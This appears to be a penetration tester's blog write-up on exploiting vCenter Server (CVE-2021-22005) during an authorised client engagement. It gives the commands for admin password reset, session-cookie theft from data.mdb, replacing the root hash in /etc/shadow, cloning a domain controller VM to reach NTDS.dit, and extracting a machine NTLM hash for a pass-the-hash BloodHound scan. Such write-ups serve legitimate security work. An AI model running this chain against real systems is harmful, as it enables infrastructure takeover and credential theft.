1. Initial access
2. vSphere Account Takeover
   1. The fastest but riskiest way – password reset
   2. The sneakier way – session hijacking
   3. My first unsuccessful, yet educating try
3. Having access to the interface – now what?
4. Additional – Active Directory foothold

While conducting an internal penetration test for a client last week, an arbitrary file-upload enabling a remote code execution (CVE-2021-22005) vulnerability, within VMware’s vCenter Server was listed by a vulnerability scanner. It immediately caught my interest, as vCenter Server is a very attractive target, since many system administrators manage most of their internal infrastructure with it – including the domain controller (DC).

Initial access

With the help of Google I was able to find plenty of guides and GitHub repos providing information on how to take advantage of it – very conveniently, even a repository offering a metasploit module for this particular vulnerability exists: CVE-2021-22005-metasploit. I followed its instructions, imported the script, set the parameters & hit run.

set rhost 10.5.1.100
set rport 443
set rssl true

Voila, it worked:

I got root access and started my usual process of snooping around the system in order to find viable information.

vSphere Account Takeover

Now let’s kick it off with the more interesting part – obviously gaining access to VMware’s vSphere web interface itself and being able to control all systems, was the ultimate goal. All the write-ups I was reading stopped after the initial exploitation and didn’t provide any details on how to proceed further. As I am no expert on VMware software, I had to look up the rest myself, hence my motivation of writing this blog post.

The fastest but riskiest way – password reset

In my unsuccessful attempt (see below), I found out that I can’t log into the web interface as a root user. However, VMware’s vSphere has a built-in administrator account (administrator@vsphere.local) – fortunately not an AD-connected user – which allows us to change its login password.

/usr/lib/vmware-vmdir/bin/vdcadmintool

Keep in mind that this might break the daily business of your client as they might have automated tasks running. So before doing anything, I responsibly asked my client contact BEFORE doing so and he gave me a green light to proceed. Later on he actually called me, telling that some interruptions occurred and he needed to reset the password.

I browsed to the website and logged in with administrator@vsphere.local and the newly generated password (as can be seen in the screenshot above).

The sneakier way – session hijacking

As it turns out, there is another way – a less intrusive way. In order to gain access to the admin UI panel, it is possible to steal the admin’s user session cookie from a local database file.

Small disclaimer: I guess, the administrative user must have logged in recently (prior to this exploit) to get a valid session cookie. So in my case I was “lucky”, as my client contact logged in to reset the password I had changed in my previous attempt.

There are multiple tools available to perform this task, so I chose vCenter SAML Login Tool – a python utility tool. I downloaded the needed file within my meterpreter shell, with the following command:

download /storage/db/vmware-vmdir/data.mdb

Followed by executing the utility tool, to finally extract the session cookie:

python3 vcenter_saml_login.py -p data.mdb -t 10.5.1.100

Having the cookie, I browsed to the VMware vSphere start page and added the cookie “VSPHERE-UI-JSESSIONID” for the “/ui“-path. (I didn’t browse immediately to the “/ui“-path as some redirecting was happening & the client domain name was exposed in the URL)

Finally, browsed to the “/ui“-path and was logged in as the administrative user.

My first unsuccessful, yet educating try

cat /etc/passwd

Checking the passwd file, it revealed that the root user’s default shell is not the typical anticipated “/bin/bash” shell, but something called “/bin/appliancesh“. It seems to be a VMware thing.

/bin/appliancesh

Upon starting it (even as a root user) it asks for a password – which I don’t have.
So what options do I have now:

• Take the hash from /etc/shadow & crack it
• Replace the password in /etc/shadow with a new one

I chose the latter one, as my time was anyway limited and I didn’t want to loose more on waiting for a potential hit on a password. So I created a hash for a new password on my kali machine:

mkpasswd -m sha-512 Password1234

Before inserting it, I highly advise to save a copy of the original hash on your machine, in order to revert the changes later on.

So I edit the shadow file and inserted my own hash:

So now you can either start the shell within your current session or login via ssh as root – which I did:

I had a look at the VMware documentation in order to find some useful commands concerning the appliance shell. As I was root, I was able to create a new user with high privileges, hoping it might allow me to login to the web interface instead.

localaccounts.user.add --role superAdmin --username audit --password

Then I switched back to the browser and tried to login with my audit user and this error message was returned (I got the same response for the root user):

I looked up on Google, how to grant a newly added user the necessary permissions to login into the web interface, however as it seems, it has to be granted within the web interface and cannot be added via the shell.
If I have missed something and anyone has a hint for me on how to do so – please leave a comment (highly appreciated).

Having access to the interface – now what?

After logging in, the interface was greeting me with an ironic info-banner – made me smirk.

During my reconnaissance phase, I already knew which system was the Domain Controller – so I was able to find it quite quickly within the vSphere Client:

Within the configuration tab, I was able to see that the disk of the DC VM was not encrypted which makes this a technical win.

Why? Because now we are able to download the VM, mount its disk (.vmdk) and extract every piece of information we want (for example: NTDS.DIT).

I would recommend not doing this with a running instance, as it might pause the machine and the client would not be very pleased having his DC shut down. So first I created a clone (this can be done, even if the instance is still running – tried this on a less important machine first):

Name the clone and DO NOT boot it after creating it. Navigate to the cloned instance and export it as OVF template:

At this point I was facing issues downloading the template – the download of the vmdk file was always interrupted. I have no clue what happened here. So I was not able to get to the ultimate juicy part, as my time was running out and I still needed to test a lot of other systems.

Yes this can happen during a penetration test and then you need to prioritize.

To not leave you fully hanging – as a logical next step, I would try mounting the vmdk file (again, encryption must not be enabled!!). In order to do this, you can follow the following tutorials:

• How to mount a vmdk file in Linux
• How To Mount ESX/ESXi Server Disks Or Vmdk Files

One of the most interesting files is the NTDS.dit file – usually located at “C:\Windows\NTDS\ntds.dit“. It is the AD database, storing all AD user hashes (and more info). If you were able to obtain it, take the hashes and either crack them or just simply use the Domain Administrators (DA) hash to move laterally and login to systems.

I am planning to build up an AD lab locally myself – hopefully I will not forget to try replicating the final steps of this write-up, so I can provide a better guidance.

For now – sorry folks.

Additional – Active Directory foothold

As I was testing this domain without any valid Windows credentials, one thing I was looking for was, if this host was a domain joined system. If some kind of Active Directory (AD) connectivity exists, this system needs to authenticate itself to Kerberos. So I stepped into a shell and checked if specific files do exist:

Initially I was checking if a krb5.keytab file exists, as it contains mappings between Kerberos Principal names and DES-encrypted keys that are derived from the password used to log into the Kerberos Key Distribution Center (KDC).
We got a hit (the realm contains the domain name), so I was hoping to find some cached credentials (krb5cc_*) within the /tmp/ directory, as these files hold Kerberos protocol cached credentials (tickets, session keys & more).

file /etc/krb5.keytab
ls /tmp/ | grep krb5cc

In order to extract the information needed from the cached credentials file, I used KeyTabExtract (python utility tool). I downloaded it to my kali machine and uploaded it with the help of my meterpreter shell:

I ran the command below and got some vital information – my initial foothold to the AD itself.

python3 keytabextract.py /etc/krb5.keytab

Now I obtained the NTLM hash of a computer account (as the principal name ends with a “$” symbol), which then allowed me to perform a bloodhound scan with the help of BloodHound.py.

bloodhound-python -d <COMPANY.LOCAL> -u VCENTER$ --hashes "<LM:NT>" -c all -ns <DC_IP>

So it was possible to obtain an AD foothold as an unauthenticated attacker within the network, by exploiting this host with the help of this vulnerability (besides owning the the entire vSphere Server 😉).

---

I hope you liked this write-up and it was somehow informative for you.

Any feedback is appreciated – thanks guys!